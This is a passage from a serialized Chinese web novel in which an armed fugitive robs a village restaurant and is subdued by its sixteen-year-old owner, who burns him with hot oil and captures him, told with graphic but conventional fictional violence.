徐和平一时语塞,他刚来饭店工作时心里多多少少有点不服气,故意喊贺明珠“小老板”,带着点解气和调侃的意味 ——再厉害又怎么样,不就是一个十六岁的小姑娘吗? 后面来店的其他人不明所以,被他带的也跟着喊起了小老板。 贺明珠没对这个称呼说什么,但每次徐和平拿腔拿调地喊她小老板时,她都会用一种意味深长、似笑非笑的表情看他,似乎在说“你耍的这些小花样,我都一清二楚呢”。 徐和平哑了声,不知在想什么。 贺明军干脆地一锤定音:“行了,要么叫她明珠,要么就叫她贺老板,总之不许你再喊明珠妹妹。” 杨东风腹诽:要是喊贺老板的话,店里有两个姓贺的,谁知道喊的是哪个贺老板呢? ……不过他平时喊贺明军都是“明军儿”,倒也不会混淆。 随着一道又一道的菜送上桌,店里的客人逐渐减少,随大流来吃饭的人吃完后就离开了,只剩下知道内情的几头饕餮还赖着不肯走。 “东风,你的明珠妹妹怎么还没做好大餐啊?我等得快要饿晕了。” “你小子该不会是想独吞吧?不要忘记我们一鸡六吃的兄弟情啊!” “小杨,下周的夜班我替你值了,你能不能把大餐分我们尝尝啊?” 杨东风被饕餮们缠得哭笑不得,说:“说什么独吞,我连大餐的影子都还没看见呢。还有,别叫人家‘明珠妹妹’,那是贺老板。” 饕餮们说:“好好好,你说贺老板就贺老板,可大餐呢?” 杨东风的目光投向后院:“大概……也许……可能……还没做好。” 顺着他的目光,饕餮们也都看了过去。 夕阳已沉入地平线下,天色渐黑,后院亮起一盏灯泡,灯光下,院内的大灶和大灶前站着的人格外明显。 饕餮们振臂一呼:“去后院吃大餐!” “走走走!” 还不待杨东风反应过来,饕餮们一拥而上,挤着穿过前厅和后院之间的小门,冲向了昭示着美食的大灶。 “哎哎哎,你们等等!不是,给我先留一口!我还没吃呢!” 天色已经全黑了,此时的农村没有路灯,没有月亮的夜晚像被浓墨笼罩,伸手不见五指,看不见脚下的路,也看不清周围的环境。 星光投下的光芒微弱极了,让人环顾四周,只能看到影影绰绰的黑影,有的是坟包似的荒山,有的是鬼影般的庄稼,到处鬼气森森,教人分不清阳间与阴世。 青纱帐里,一道身影由远及近,越过重重的玉米杆子,走到 了田地的边缘,一双眼幽幽地看向村口的饭店。 无边无际的黑暗中,唯有饭店的一星灯火,像狂风巨浪中将翻未翻的小舟,灯光在战栗。 这个人,或者说这个鬼,眼睛死死地盯着饭店的方向。 大门不设防地敞着,隔着玻璃可见三两服务员在店内干活,除此之外就没有其他碍事的人了。 一个吊儿郎当的男服务员端着一盆东西走出了门,门外或坐或卧的狗都摇着尾巴迎了上去。 男服务员从盆里拿出几块鸡屁股,朝狗群扔了过去。 另一个女服务员也出来了,风中传来两人的交谈声。 “你咋又把鸡屁股喂狗了,曹师傅不是说让留给他,他要下酒吃吗?” “留什么留,曹师傅吃得够胖了,给狗吃点儿吧,你看这村里的狗都瘦成什么样了。再说了,小老板,啊不,老板说了,没处理的鸡屁股人吃了对身体不好,我这是为了他好。” “行吧,你说话总有理,俺说不过你……” 男服务员喂完了狗,在地上磕了两下盆,反身回了屋子,顺手关上了门。 狗群抢着吃地上的剩菜,咯嘣咯嘣,骨头被嚼碎的声音传了过来。 男人舔了舔干裂的嘴皮,因饥饿而不断上涌的酸水烧灼着他的胃。 好饿……他已经快三天没吃过饭了吧…… 自从逃到这个小村子附近,虽然摆脱了警察的追踪,但也花光了之前抢来的钱,现在他身无分文,唯有一纸通缉令,向世人控诉他流窜各地、杀人夺财的累累恶行。 男人的手下意识摸向了腰后别着的枪,以及固定在腿上的长刀。 只要他还有这两样,钱很快就会有。 大陆待不住了,他要逃到香港。 听道上的人说,只要游过了罗湖,内地的通缉令就是废纸一张。 男人缓缓站起身来,在夜色的掩护下,朝饭店逼近。 他观察好几天了,这个名叫郝家村的小村子穷得叮当响,把全村都抢了也凑不出几百块钱。 他在这里游荡这么久,就没见大姑娘小媳妇戴过金首饰,连银戒指都少得可怜。 一群穷棒子,把他们扒光了也不值一颗子弹钱,偏偏手上还有一把子力气,挥起锄头来很有劲儿,是个难啃又没肉的硬骨头 不过幸好,村口开的这家饭店是块大肥肉。 店里生意兴隆,每天进进出出的顾客人数过百,菜的价格也不算便宜。 他之前去吃了一碗面,趁机看了看店内的价目表,上面的价格可以和一些国营饭店相媲美了。 照这个客流量和单价,饭店很赚钱呢,店里存着的现金也一定很多吧…… 男人埋伏了几天,弄清店内的人员情况,通常是一个厨师和两个服务员,两男一女。 饭店位置在村口,远离村民聚居区,距离最近的农户也有五百米。 也就是说,在饭店里喊救命时,村里人大概率是听不到,或者听不清的。而等村里人赶过来时,他早已拿着钱离开了。 皮薄馅大的软柿子啊…… 男人等了几天,见时间差不多了,店里的钱应该已经积攒到相当高的金额时,他这才准备动手。 他沿着墙根的阴影慢慢走过去,前院的狗见惯了来来往往的客人,并没有出声预警。 只有几条强壮的大狗由卧到站,喉咙中发出不安的呜呜声。 男人没有理会这些长毛畜生,径直拉开门进了店内。 女服务员正在收拾桌子,见有人进来,她下意识地说:“不好意思,俺们饭店要打烊了,您明天再来吧……” 等看清了脸,女服务员先惊后怒:“咋又是你!你还敢来,上次的饭钱你还没付呢!” 男人像是没有听到她的话。左右环顾一圈,厨师不知去哪了,店里只有两个服务员。 这种突如其来的变化让他有些不安,上前逼问道:“厨师呢?那个胖老头呢?!” 女服务员有些不安,向后退去,边退边喊人:“徐和平,徐和平,你快过来!” 男服务员闻声从后厨出来,见到男人立刻警惕起来,一把将女服务员拉到身后。 “你怎么又来了?上次就当我请你了,这次可不成,你哪儿来回哪儿去吧!” 男人将手伸向后腰,抽出一把油亮的五六式半自动步|枪,抬枪瞄准了两人。 “把店里的钱都给我交出来,不然你们都得死!” 徐和平悚然一惊。 他认识这把枪,村里民兵训练用的是五六半,一矿保卫科组织打靶时,发下来的枪也是五六半。 这枪能装填十发子弹,别看枪型老旧,威力可不小,一枪打过去,前面一个眼,后面一个洞。 训练时流弹误中自己人的话,要是位置打得寸,当场就要去见马克思了。 就算是及时送去医院,也有抢救不过来的风险。 男人举枪的姿势是标准的站姿射击,手很稳,枪口对准了徐、郝二人,但凡他们有一丝异动,扣在扳机上的手指都会毫不犹豫地按下去。 徐和平挡在郝翠兰前面,脸上挤出笑,低声下气地说: “大哥别冲动,有话好好说,我们就是给饭店干活儿的小人物,您要多少钱都拿去,我们肯定不拦着您。” 郝翠兰在背后疯狂戳徐和平,他坚强地把收银台指给男人。 “钱都放柜子里,没上锁,拉开就能拿。” 男人举着枪不动,下巴点一点收银台:“你去把钱给我取出来,别做什么小动作!” 徐和平点头哈腰,转身时快速低声地对郝翠兰说:“别说话也别动!” 郝翠兰圆挣双目,不敢相信徐和平居然这么没骨气。 她是经历过革命教育的人,心中有着一腔正气,对拿枪的抢劫犯也毫不畏惧,一双眼狠狠瞪着他。 “你一个大男人,有手有脚干啥不行,为啥要干这种违法犯罪的坏事!” 正在收银台拿钱的徐和平听了心里直喊糟,这个郝翠兰,怎么就不长脑子? 男人果然被郝翠兰激怒,但他没开枪,反而抽出刀来,快速安在了枪头上,朝郝翠兰逼了过来。 见男人刺刀上枪,徐和平抓起抽屉里的钱就冲过来,挡在两人之间,把钱往男人那边递。 “大哥,大哥,你别和她一般见识,小村姑不懂事,我收拾她就行,别脏了您的刀!” 男人被钱分散了点注意力,但刀还是指着郝翠兰。 徐和平一咬牙,转身朝郝翠兰扇了一耳光,声音响亮。 郝翠兰捂着脸,不可置信地看着徐和平,还不待她说什么,接下来大腿上又挨了一脚,踉踉跄跄,差点摔倒。 徐和平吼道:“还不滚去厨房,给大哥切盘卤肉端上来!” 男人听到“肉”,喉结上下起伏,他本来就饿极了,进了饭店闻到还未散去的饭菜香气,一时间更饿了。 见郝翠兰捂着脸进了厨房,老老实实在案板上切肉,半边脸红肿,一边切一边哭,男人稍微满意,没因为徐和平擅自的决定而给他一枪。 徐和平讪笑着说:“大哥,坐,您坐,我再给您下碗面……”并把钱放到男人面前。 男人扫了一眼,下一秒,他一把将钱扫落在地,刺刀捅进徐和平的肩膀。 “你敢拿这点钱糊弄我?!” 徐和平疼得脸都白了,刺刀是三棱的,拔出去时一 股股的血流出来,浸透了半边身体。 雪白的工作服上,一半都是血迹。 他疼得站不住,颤抖地半跪在地上,嘴唇哆嗦着,努力挤出话来。 “收银台的钱是今天的,前两天的钱被老板收走了……” 男人一脚踹翻徐和平,刺刀抵在他喉咙,逼问道:“老板在哪?钱在哪?” 徐和平虚弱地说:“老、老板回矿务局了……” 男人大怒,到手的金鸭子居然在他眼皮子底下飞走了! 他高高举起枪,要割断徐和平的脖子。 这时,郝翠兰连滚带爬地从厨房跑出来,一张脸哭得乱七八糟,嚎道:“你别杀他!俺、俺知道老板把钱都放哪儿了!” 男人放下枪,枪口重新对准郝翠兰。 “你给我带路,别耍小花样,不然我一枪嘣了你!” 郝翠兰哽咽着,走在男人前面,后背被刺刀顶着,来自冷兵器的冰冷像是能冷到骨子里。 她走到厨房门口,脚步稍微迟疑了一点,男人就举枪用力戳了两下。 “走!为什么不走?” 她无奈,值得继续向前走去,前面是通往后院的小门。 这道小门被厨房延伸出来的半面墙挡住了,要绕过去才能看到,男人还是第一次注意到这里还有一扇门。 他瞳孔一缩,忽然涌上不安的预感,眼睛死死盯着这扇平平无奇的小木门。 说时迟那时快,男人身后忽然传来响动,他下意识转头,只见一口大黑锅朝着他重重砸了下来! 砰! 一声突兀的枪响撕破了黑而静的夜晚。 后院里,饕餮们围着大锅抢肉吃,各个吃得满嘴油光,什么都顾不上。 乍一听到枪声,杨东风一愣,下意识地说:“谁在放炮?” 另一只饕餮也以为是放炮,自由发挥想象力:“村里有人死了要出殡?” 众人都没把突兀起来的枪声当回事儿,还是面前这一锅肉比较要紧,再不抢可就吃不着了。 贺老板也不知是怎么做的,连肥肉都能做得这么香。 一整块的肥膘肉,切条后裹粉油炸两遍,接着倒入熬好的糖汁中翻炒,最后撒上一撮芝麻。 出锅的炸肉上裹着一层糖浆,糖浆下是酥壳,而酥壳下是丰腴滑嫩的肥肉。 轻轻咬一口,三重口感在舌尖上绽放,糖浆的甜,酥壳的脆,肥肉的糯。 从未品尝过的奇妙口感,香甜而酥嫩,腴滑而肥糯,每一口都让人沉迷其中。 如果是高热量食物唾手可得的后世,人们对这道炸羊尾大多浅尝辄止,吃多了总觉得腻得慌。 但对于现在肚里缺油水的人们来说,这道菜简直就是天选之菜,每吃一口,全身上下的细胞都在欢呼雀跃。 就像手机电量逼近自动关机红线时,终于插上了大功率快充,一瞬间迎来电量暴增。 饕餮们现在就有这种感觉,实在是平时缺油水缺狠了。 一帮人没出息地围在锅边,眼巴巴望着贺明珠,等着现炸现吃。 刚出锅的炸羊尾吃着还烫嘴呢,就被四面八方伸来的筷子疯狂抢夺,险些四分五裂。 只有一个参加过矿务局组织的民兵训练的饕餮不确定地嘀咕了一句: “怎么听着像是枪声呢?” 贺明珠正在炸肉的手一顿,忽然意识到,好像有一会儿没听到店里的声音了。 徐和平是个馋嘴的,手上的活儿再多,也要抽空来后院偷上一口刚出锅的炸肉。 二哥要是忙完了厨房的单子,也会来后院一趟,不为别的,专为贺明珠给他开小灶时,看一看其他人羡慕嫉妒恨的嘴脸。 可是,他们怎么还没过来呢…… 这时,木门上突然传来闷闷的撞击声,下一秒,门锁被撞开,一道身影摔倒了地上。 众人皆是一惊,下一秒,门口出现一个满头是血的男人,他举着杆上了刺刀的长枪,凶神恶煞地对着地上的人就要刺下去。 “啊!快跑,快跑!” 凄厉的女声撕破凝滞的气氛,郝翠兰从后面扑到男人背上,试图阻止他的动作。 男人用力一甩,见甩不开她,眼中凶光毕露,猛然将后背朝旁边的墙上撞去! 郝翠兰挡在他和墙之间,连撞了几次,剧痛之下,她手脚脱力,滑落在地。 没了阻碍,男人举枪就要下刺! 三棱刺刀上闪过一点冰冷的反光,刀身上的血一滴一滴往下滑落,眼见刀锋已经迫近了倒在地上的人的胸膛。 说时迟那时快,贺明珠暴喝一声:“闪开!” 男人闻声,下意识抬头看去,手上动作慢了一拍。 还不等他看清,一锅滚烫的热油已经精准地泼中了他! 他正要拿刀下刺,身体微躬,头脸位置比平时要低得多,不偏不倚被泼了个正着。 锅里的油是用来炸肉的,油温极热,稍不留心,一滴油溅在皮肤上就是一个小黑点。 男人迎面被油泼中,脸上的皮肉立时就被烧焦了,整块整块地脱落下来。 他的眼睛一时间看不见了,头脸上传来剧烈的灼烧感,痛得让人发狂。 男人抓起枪,死死扣动扳机,对着前方四处乱射。 饕餮们都惊呆了,忘了要躲避,一个个呆愣原地,还是那个参加过民兵训练的大喊一句“都趴下!”才乱七八糟地往地上趴。 耳边传来子弹破空声,嗖嗖地在空中乱飞,击中土地、砖墙、木柴堆,还打断了后院的柿子树的枝条。 枪声停歇,饕餮们惊魂未定,趴在地上不敢动。 胆大的抬头看看,见门口拿着枪的男人不见了,这才站了起来,小心翼翼地四处观察。 “走了吗?” “走了走了。” “什么人带枪袭击饭店?想干什么!” “这是抢劫!快去报警!” 杨东风没看到贺明珠,焦急地喊:“明珠,明珠!” 他刚刚亲眼目睹贺明珠两只手猛然发力,端起灶台上的大锅,将一锅热油扑向了持枪男人。 刚才情况混乱,枪响后他就没见着贺明珠了。 她还安全吗?她现在哪里? 凶手不知所踪,饕餮们顾不上别的,先忙着救人。 有人扶起地上的贺明军,他脸上被刀划了一道,后脑勺撞在地上,紧闭双眼,还在昏迷中。 有人进了店内,将倒在门边的郝翠兰扶起来。 “你还好吗?有没有骨折?能不能自己站起来?” 郝翠兰疼得脸都白了,喘不上气,抓着他的手,用力挤出声音:“俺、俺没事,快去救徐和平……他被捅了一刀……” 在他们说话的时候,已经有人发现了倒在地上、失血过多的徐和平。 “快去矿上喊人!” 喧闹声中,从村头到村尾,犬吠声连成了一片,各家各户的灯都亮了起来。 乡间的小路上,影影绰绰,手电筒的光芒连成了一条线,朝着分店的方向汇聚而来。 第93章 第93章抢劫犯没了 痛! 太痛了! 男人跌跌撞撞地在庄稼地里穿行,双手努力拨开挡在面前的玉米杆子,但仍有玉米叶在他脸上划过,勾下一块接一块的焦黑皮肉。 他努力眯着眼睛,试图看清前面,但无论他怎么努力,视线依然模模糊糊。 被惊起的小飞虫迎面扑来,男人下意识要闭眼,却发现感觉 不到眼皮的存在。 在深入骨髓的剧烈痛苦之外,头脸上的皮肉似乎已经麻木,再传不出一丝神经讯号。 乌云飘过,露出半轮明月,银色光辉洒下,照在无遮无掩的农田中,同样也照在逃亡男人的身上。 他脸上的皮肉融化了一半,从上至下,像烛泪般粘附在下半张脸上。 血红的筋肉暴露在空气中,两只眼球圆瞪,上面的眼皮已经消失不见。 他脸上尚且完好的地方,被烫出了大大小小的燎泡,一分像人,九分像鬼。 此时如果有人看到这一幕的话,会疑心自己是不是撞邪了,错落坟包中,是从幽冥地府的油锅里逃出来的活尸。 男人毫无所觉,死死抓着手里的枪,一路朝着印象中水沟的位置而去。 这条水沟是用来灌溉农田的,引来了附近小河的水,平时里面水很少,但前两天刚下过一场雨,沟里的水位暴涨,水里还有指头大的半透明小鱼。 男人扑到沟边,把整个脑袋都泡进水里,顿时,附骨之疽般的灼烧感顿时轻了许多。 他一直泡到喘不上气,才短暂将头露出水面吸了一口气,接着又将脑袋沉入水中。 寂静的夜晚,只能听到男人不断将头泡入水中溅起的水花声。 稍微恢复了些神志,男人回想起之前发生的一切,恨得咬牙切齿。 他居然会在一家不起眼的小饭店翻了车! 他抢过那么多地方,从信用社到银行,就没有失手的时候,即使被全国通缉,他在逃亡路上连追捕的军警都杀了好几人。 枪丢了子弹没了,就摸哨抢枪,杀的人多得连男人自己都记不清。 要不是这次被警察追得紧了,城里处处都是他的通缉令,他在小卖部买包烟被人认了出来。 虽然当时男人就把认出他的那人一枪打死,顺便还杀了小卖部老板和围观路人,但这也让他在城里待不下去了,不得已打了辆出租车,当天就逃到了城外。 半路上出租车司机被他打死扔下车,男人自己开车,但没想到公路的检查站都设了卡,每一辆车都查,甚至连骑自行车的人都不放过。 检查站的年轻民兵一眼就认出了男人,当时就要打开车门逮捕他。 男人从腿边拿起枪,一枪打死鲁莽的民兵,接着又朝检查站的人群扫射。 枪声惊动了附近执勤的警察,数辆警车鸣着笛朝这边赶来。 男人开车逃跑,被追赶的警察打中了轮胎,车子歪歪扭扭撞在路边。 警车围了过来,他仓皇下车逃跑,一头钻进了公路两侧的庄稼地里。 警察们追了上去,却被他躲在青纱帐里打了好几发冷枪,伤亡惨重,不得不退出庄稼地,将这一片区域都包围起来。 男人狡猾地从包围圈的缺口逃了出去,连夜逃向一百多公里外的郝家村方向。 专案组的警察没想到他会跑得这么远,还在双方枪战的庄稼地周边布控,殊不知他已经逃远了。 男人虽然成功逃脱警方追捕,但他抢来的钱和枪都遗失在了出租车上,只有随身携带的一把手|枪和一把五六半,加起来才不到十发子弹,还在打冷枪时用掉了好几发。 他又渴又饿又累,见村口有家饭店,把步|枪藏起来,腰里别着手|枪,进去要了碗面。 面做得还不错,而更不错的是,店里只有几个人,老的老小的小,还有个女人。 至于店里唯一的成年男性,也不过就是一枪的事。 他吃饱了饭,体力也恢复过来,虽然这个小饭店没什么油水,但蚊子肉也是肉,先抢一把。 拿了钱就能去下一个城市,一路向南,直到抵达他心目中的犯罪天堂香港。 男人想要动手时,却见大批年轻男人朝这家饭店走来,远远地就和服务员打招呼。 来得人太多了,而子弹又太少。 他一时忌惮,不得不放弃到手的瘦鸭,暂时撤退,改日再来。 但那个男服务员不知自己刚刚死里逃生,还敢追上来要钱。 男人躲在青纱帐中,冷冷看着男服务员一步一步靠近,熟练地将三棱刺刀安在了枪头,只等他走进庄稼地,一刺刀就捅到他脖子里。 但在他即将要动手时,男服务员却突兀地停下了脚步,顿了顿,毫不犹豫转身就走。 男人遗憾地放下枪,自我安慰,现在杀了这小子会打草惊蛇,还会招来警察,再等一等吧。 接下来的几天,男人埋伏在村子周围,观察着过往村民,也观察着这家小饭店。 饿了他就掰下未成熟的玉米充饥,渴了就喝沟里的水,本来想偷村里的鸡解解馋,可没想到,这个郝家村居然全村都找不到几只鸡。 手里的五六半不剩几颗子弹,附近也没有可供他偷袭哨兵抢枪的军营,不能把宝贵的子弹浪费在这家小饭店。 男人一直等到时机成熟,才趁着夜色闯进了打烊的饭店。 店里果然如他所料,客人都走光了,只剩两个服务员,但胖老头厨师却不见了,这让他有些不安。 那个扎着两条麻花辫的女服务员不知死活,还敢和他要钱,不想活了吧,男人当时就想给这个村里来的傻妞一枪。 男服务员倒是识相,不仅替他抽了女服务员一耳光,还主动把店里的钱都交了出来。 但即便如此,男人还是很不满意,这个男服务员当他和女服务员一样傻,看不出他玩的那点小花招吗? 一刺刀捅下去,男服务员立刻就老实了,但店里的钱居然被老板都拿走了! 他守在这里这么些天,抢到的钱连一百块都没有?! 男人大怒,居然在他眼皮子底下让人把钱带走了,这简直不可饶恕! 他要杀了店里的所有人! 当男人要像杀鸡一眼割断男服务员的脖子时,女服务员连滚带爬地扑出来,说她知道钱放在哪儿。 她的麻花辫散开,半张脸红肿,哭得狼狈不堪,衣襟也因为之前的动作散开了一半,露出黝黑细腻的肌肤。 男人舔了舔嘴唇。 要是找到钱最好,找不到钱,也不是没有别的消遣…… 女服务员战战兢兢在前面带路,他心猿意马地盯着她的腰和屁股,在粗布衣服下勾勒出葫芦似的线条,裤子紧绷绷的。 村姑也有村姑的好处…… 然而,当看到被掩在墙后的小门,男人悚然一惊。 哪里来的门?这里……怎么会有一道门?门后通向的是什么地方?! 还有,那个胖老头呢? 不待他想清楚,忽然听到身后响动,他匆忙转头,只见一个陌生的年轻男人举着一口锅,重重地朝他砸了下来! 来不及躲闪,男人下意识偏了一下头,锅砸到了肩膀上,传来骨折般的剧痛。 他忍着痛,也顾不上子弹了,举枪向身后人射击。 情况紧迫,他没时间瞄准,抬手就打,果不出其然,子弹射偏了。 年轻男人扔了锅,顶着枪响,凶狠地朝他扑了过来,双方扭打在一起。 他挣扎着举起刺刀,冲着脖子来,却划在了年轻男人的脸上。 对方仿佛没有痛觉神经,反而像是被激怒了,更加用力的挥拳,直接将他手上的枪打掉。 和动手前总会犹豫的普通人不一样,年轻男人动作又快又狠,下的都是死手,奔着要弄死他。 男人饿了几天,体力不支,下意识左推右挡,还是被对方在要害上打了好几下,眉骨被打裂,血糊在眼睛上,疼得他几乎要丧失意识。 要不是他这么多年混出来的抗击打能力,说不准还真要被当场打死。 生死之间,男人爆发出最大潜力,将将和对方打了个平手。 木门承受不住两个成年男性的体重和力量,摇摇欲坠,老旧门锁忽然断裂开来。 年轻男人猝不及防摔在地上,后脑勺重重砸地,失去了意识。 机不可失,男人从地上捡起枪,他杀红了眼,忘记要开枪,举着刺刀就要捅死对方。 但他的动作被女服务员拦住,她不要命地从后面勒着他的脖子,尖叫声几乎能刺破耳膜。 巨大的愤怒下,男人眼前都是赤红的,重重将后背撞到墙上,连续几下,女服务员没了声,软软滑倒在地。 先杀男的,再杀女的! 门后居然藏着个院子,院里的人不少,不过没关系,等下他会一个接一个割断他们的喉咙! 男人举起刺刀,要继续之前没干完的事,刀尖锋寒,三棱血槽,只一刀下去,血流如注,就算天王老子来了也救不了 他的命! 就在此时,忽然一道陌生女声响起:“闪开!” 闪开什么?谁闪开? 男人心中一紧,下一秒,一锅滚油迎面泼了上来! 刚开始,他还没有反应过来,甚至还有些奇怪,这是什么? 但紧接着,皮肤上传来猛烈的灼烧感,剧痛顺着神经传导至全身,像是把他整个人都投进了油锅! 男人凄厉地惨叫一声,端起枪就朝着前面胡乱射击,弹匣内剩下的几颗子弹被一扫而空,当他再连连扣动扳机时,再无子弹射出来。 连续的枪声震住了院里的人,纷纷扑在了地上,生怕被乱枪射中。 趁着这个空挡,男人抓着枪,跌跌撞撞地朝店外逃去。 跑!他要跑!他不能被抓住! 男人的方向感很好,循着记忆中的路线,朝水沟的方向逃去。 一路上不知在沟沟坎坎处摔了多少跤,他的衣服像布条般挂在身上,手肘膝盖被磨得血肉模糊。 但这些都没有他头上被烫伤的地方痛。 眼睛看不清,他下意识拿手揉了揉,却将一整块的肉都带了下来。 男人却感觉不到疼痛,眼前清晰了些,他深一脚浅一脚走到水沟旁,趴在地上,将快被烫熟的脑袋伸进水里。 水温冰凉,起到了镇痛的作用,他脑子渐渐清楚起来。 这家小饭店……这家小饭店…… 他要杀了他们!全都杀了!一个都不留! 不管是人还是狗,他都要杀了! 男人咬牙切齿,恨极了,他从没吃过这么大的亏,竟然在一家手无寸铁的村口饭店失了手! 之前即使是最警惕的哨兵,都逃不过他藏在暗处的一枪,杀人夺枪,他从来没失败过。 就算是军警联合的包围圈,他也能躲起来伏击小股队伍,枪战后杀人逃离。 如果不是他的枪和子弹都丢在了出租车上,光凭饭店的几个人,他一梭子就全弄死了,哪会像现在这样,因为子弹有限,加上轻视敌人,而选择了和他们肉搏。 要是早知道会有人藏在厨房偷袭,他一定会开枪把店里的人都杀了! 男人陷入了极度的癫狂中,双手在松软的田地上挖出深深的痕迹。 他们竟然敢拿油锅泼他,他要杀了这家店的人,杀了这个村子的人,杀了所有人! 男人从水中猛地抬起头,发出野兽般的凄厉嚎叫。 附近树上的鸟群被惊飞,远远传来狗叫声。 男人只顾着发泄痛苦,却没注意到,他身后不远处,有人轻轻走了过来。 夏天雨热条件好,就连无人照料的野草也生长得郁郁葱葱,踩上去时像踩在了柔软地毯,没有发出一丝声音。 乌云被风吹散,更多的月亮从云后露了出来,将原本黑漆漆一片的田地照得明亮极了。 男人忽然感觉到头顶上似乎笼罩了一片阴影,他警惕地从水里抬起头,下一秒,一块有棱有角的石头重重砸在他的后脑勺上! 男人吃痛,想要从地上爬起来。 但再下一秒,沾了血迹的石头又一次重重砸了过来! 连续几下,男人面朝下扑到在地,四肢瘫软,时不时抽搐一下。 他身后传来石头落地的声音,以及一道有些熟悉的女声。 “呼,这家伙生命力可真够顽强的,砸得我手都酸了。” 是那个拿滚油泼他的女人! 男人的眼睛忽然睁开,猛然弹身而起,伸手去抓手边的长枪,然而,这次他却抓了个空! 胸前忽然传来“噗”的一声,像是塑料袋被扎破。 他低下头去看,只见刺刀贯穿了他的胸膛,三棱|刀露在胸前,血液顺着刀尖,一滴滴地流了出来。 随着三棱刺刀被抽出,短暂一瞬过后,大量的鲜血像喷泉般涌了出来! 男人缓缓跪倒在地,僵硬地朝前扑倒,奔涌而出的血液浸湿了他身下的田地。 随着男人倒下,露出了他身后的贺明珠。 她拿着枪,颤抖着手,甩了甩上面的血,轻轻吐出口气。 终于结束了。 远远的传来了狗叫声,还有手电筒摇晃的灯光。 贺明珠抬眼望去,云后的月亮已经全部露了出来,皎白月光洒满青纱帐,蒙上一层银白色的滤镜。 “快点,快点,别让抢劫犯跑了!” “有人看到贺明珠了吗?就是煤矿人家的贺老板,她刚刚追着抢劫犯出去了!” “汪汪!汪!” 人声、犬吠声、脚步声,杂乱无章的声音填满了夜晚,原本只有虫鸣和蛙叫的农田变得热闹起来。 贺明珠看了一眼地上因失血过多而休克的抢劫犯,确认他不能再伤害任何人,朝声音传来的地方喊去: “喂!我在这儿!抢劫犯也在这儿!” 她的声音遥遥传了出去,很快得到了回应。 “是贺老板!快走!” “明珠,你别怕,我马上就过来!” 郝村长和杨东风的声音传来,片刻后,密密麻麻的玉米杆晃动起来,下一秒,杨东风狼狈地冲了出来。 他原本洁白的衬衫上沾着血迹和泥土,脸上被锋利的叶片刮出道道血痕,和平日里那个虽然脱线但很整洁的大学生完全不一样。 看到贺明珠,他三步两步跨过地上的沟沟坎坎,激动地冲了过来。 “你没事吧?你怎么能一个人追上来,太危险了,万一出事怎么办?!” 杨东风心有余悸,拉着贺明珠的胳膊不放。隔着薄薄的衣料,她能感觉他的手止不住地颤抖。 贺明珠安抚地拍拍他的手:“放心,我没事,需要担心的不是我,是他。” 他? 杨东风疑惑地低头看去,看到了面朝下倒地的抢劫犯。 杨东风:? 杨东风:!!! 贺明珠拄着五六半,对追上来的郝村长不好意思地笑了。 “村长,能麻烦您尽快派人把他送到医院吗?我可能下手稍微有点重了。” 郝村长顺着贺明珠所指的方向低头看去,手电筒照亮地面,映出趴在地上的男人。 郝村长一惊,手电筒差点没拿稳。 “这、这是……” 贺明珠将枪往郝村长的方向递了递:“是刚刚抢劫饭店的家伙,这是他的枪。” 郝村长乍着两只手,不敢去接,枪口的刺刀上还在滴着血。 “你咋抓住他的?!!!” 贺明珠望天:“就这样,然后那样,最后就抓住了。” 总不能说她先泼了抢劫犯一锅滚油,趁其不备,尾随其后,然后在他脑袋泡水降温时,拿石头砸了好几下,但没想到这家伙脑壳太硬了,居然没砸晕。不得已,又补了一刀,这才成功搞定。 郝村长急得语无伦次:“你、你这小闺女,你咋就敢一个人追上来,多危险!要是让坏人发现了,你不就完了吗!” 他从饭店那边过来,店里的三个人伤的伤,昏迷的昏迷。据在场的矿工们说,坏人带了枪,差点就打中人。 他急忙安排拖拉机送店里的几个伤员去医院,自己的女儿郝翠兰也在其中。 郝翠兰还醒着,只是背部剧痛,站不起来。 她拉着郝村长的手,虚弱地说:“爹,那人是来抢钱的,他有枪!” 郝村长着急上火,没有人比他更了解一个抢劫犯躲在村子附近有多危险,更何况抢劫犯还带了枪。 这会儿看到被贺明珠重伤的抢劫犯,他一面松了口气,一面却更加生气。 “你咋就敢自己追上来呢?!村里这么多的老少爷们,就非得让你一个小闺女冒险吗?!” 尽管语气急躁,但郝村长的关切是发自内心的。 贺明珠小心翼翼地说:“我怕他跑了,万一伤好了再回来报复,不一定有现在的好运气……” 郝村长心里知道她说的有理,但想到要是抢劫犯发现了贺明珠,后果惨不忍睹,心里的火气一个劲的翻涌。 杨东风上来解围,转移话题道:“村长,要不让人送这家伙去医院吧,不能死在这里。” 郝村长对抢劫犯的怒气更大,尤其是这人伤了郝翠兰,差一点,他就再也见不着闺女了。 “送什么送,死了最好!” 杨东风却说:“不能让他死,至少不能现在死,我们还不知道他有没有同伙,至少要弄清他来村里的目的。” 郝村长一听也是,万一这家伙还有同伙,他死了不算完,后面还要继续出事。 他这才心不甘情不愿地指挥村民,把抢劫犯送去乡卫生所。 正当几人抬手抬脚地将抢劫犯从地上抬起来时,忽然他身上掉下来什么东西,拿手电筒照着一看,才发现居然是一把手|枪。 贺明珠捡起枪 ,卸下弹匣,发现里面还有三颗子弹。 她关闭了枪的保险,将子弹倒出来,确保这把枪不会再伤害任何人。 夜色深沉,遥远的地方,传来警车鸣笛。 第94章 第94章贺老板擒获通缉犯,小记…… 煤矿人家的贺老板抓住了全国通缉的悍匪! 这个消息一夜之间传遍了乌城矿务局的大街小巷,街头巷尾都是议论这件事的人。 要知道这个悍匪可是出了名的穷凶极恶,在全国各地流窜作案,抢劫金额高达近百万,杀害军警、群众数十人,犯罪手法极其残忍。 为将这名悍匪早日抓捕归案,多个省市公安局协同作战,甚至还调动了部队。 但这人极其狡猾,手段狠毒,又随身携带枪支弹药,但凡被人发现,他就会毫不犹豫杀人灭口。 因此,即使通缉令已经下发了长达一年半的时间,但还是被这人多次逃脱警方追捕。 他最后一次出现在警方视野时,位置是在一百多公里外的外省。专案组和当地警方组织人手对该片区域进行了包围,并逐渐缩小包围圈,仔细排查。 令所有人都没想到的是,他竟然逃到了乌城附近的农村。 更令人没想到的是,这个成功抢劫防备严密的银行、攻击军营杀人夺枪的悍匪,居然会在抢劫一家小饭店时马失前蹄,不仅没能抢劫杀人,还在逃跑时被小饭店老板追上去活捉。 甚至这个小饭店的老板只是一名刚刚参加中考的十六岁姑娘。 一时间,整个乌城都沸腾了。 “你听说了吗?那个抓住通缉犯的人居然是个小姑娘!” “我三舅爷爷女婿的姑父在药房上班,他说抢劫犯被送到医院时就剩一口气了,浑身上下没个人样,医生都惊呆了,拉着警察说反正这人都要枪毙,没有抢救的必要了吧。” 